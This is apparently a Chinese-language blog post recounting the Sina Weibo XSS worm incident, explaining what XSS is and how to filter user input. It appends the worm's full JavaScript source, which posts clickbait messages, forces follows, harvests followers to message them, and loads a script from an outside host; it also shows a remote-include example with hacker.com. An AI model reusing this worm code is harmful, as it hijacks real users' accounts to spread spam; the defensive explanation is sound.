新浪微博XSS事件回顾

事件回顾

最近新浪weibo遭到XSS攻击,攻击的流程如下:

  1. 攻击者给部分用户发消息,里面是一些有诱惑的链接
  2. 攻击者点击这些诱惑性的链接(含有恶意代码,但由于使用的是短链接,这个更加不容易被发现),
  3. 新浪微博有漏洞,可以执行攻击者的js代码
  4. js代码的具体作用就是继续发消息,加关注,发私信继续传播

XSS是什么?

XSS(Cross Site Script) ,跨站脚本攻击。简单来讲,这种攻击就是能够让你的网站执行攻击者的js代码。

当然,如果攻击者能够在你的网站上执行服务端脚本(如php,asp等),那这个就不是简单的XSS了,那是大漏洞,我自己做的页面(某手机品牌官网)就有这个漏洞,做过这样的大蠢事。

什么情况下会有XSS

一般来说,允许用户发表html的内容,就会有,如blog提供商,sns等允许富样式的网站。

如果要避免,个人觉得还是非常小心的。

  1. 过滤用户输入中不应该有的标签,script此类的标签肯定是要过滤的,如果有标签白名单,当然最好
  2. 过滤用户输入中的属性,onload onerror此类的属性要过滤的,同样,有标签属性白名单最好
  3. 过滤用户输入中属性里的非法代码,如<img src="javascript:fun();" />,需要注意的是转码形式的也要过滤掉

还有一类漏洞也会带来XSS,那就是攻击者能够将他需要执行的内容放到你的网页中。

典型的是类似 openfile.php?src=1.txt这样的链接。

本来的意思是希望读取本地的1.txt展示给用户看,但如果你没有做好过滤的话,攻击者输入 openfile.php?src=http://hacker.com;那就会将别人的代码(读取hacker.com上的内容)放在你自己的网页中执行了。

总之,由于web程序的特殊性,对用户的输入都要万分小心。

如果是一般的不允许用户输入html的网站,如电子商务网站,最简单的处理方法是,对所有的用户输入的html都转义。这样,就就不会有xss了。

 

附件(新浪xss攻击代码,仅供参考):

function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Microsoft.XMLHTTP");}

function getappkey(url){ xmlHttp = createXHR(); xmlHttp.open("GET",url,false); xmlHttp.send(); result = xmlHttp.responseText; id_arr = ''; id = result.match(/namecard=\"true\" title=\"[^\"]*/g); for(i=0;i<id.length;i++){ sum = id[i].toString().split('"')[3]; id_arr += sum + '||'; } return id_arr;}

function random_msg(){ link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();; var msgs = [ '郭美美事件的一些未注意到的细节:', '建党大业中穿帮的地方:', '让女人心动的100句诗歌:', '3D肉团团高清普通话版种子:', '这是传说中的神仙眷侣啊:', '惊爆!范冰冰艳照真流出了:', '杨幂被爆多次被潜规则:', '傻仔拿锤子去抢银行:', '可以监听别人手机的软件:', '个税起征点有望提到4000:']; var msg = msgs[Math.floor(Math.random()*msgs.length)] + link; msg = encodeURIComponent(msg); return msg;}

function post(url,data,sync){ xmlHttp = createXHR();    xmlHttp.open("POST",url,sync);    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");    xmlHttp.send(data);}

// 发微博
function publish(){ url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true);}

// 加关注
function follow(){ url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile'; post(url,data,true);}

// 发私信
function message(){ url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; ids = getappkey(url); id = ids.split('||'); for(i=0;i<id.length - 1 & i<5;i++){ msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime(); msg = random_msg(); msg = encodeURIComponent(msg); user = encodeURIComponent(encodeURIComponent(id[i])); data = 'content=' + msg + '&name=' + user + '&retcode='; post(msgurl,data,false); }}

function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){}}

try{   x="g=document.createElement('script');g.src='http://www.***.**/images/t.js';document.body.appendChild(g)";window.opener.eval(x);}catch(e){}main();var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

 

- to blog -

blog built using the cayman-theme by Jason Long. LICENSE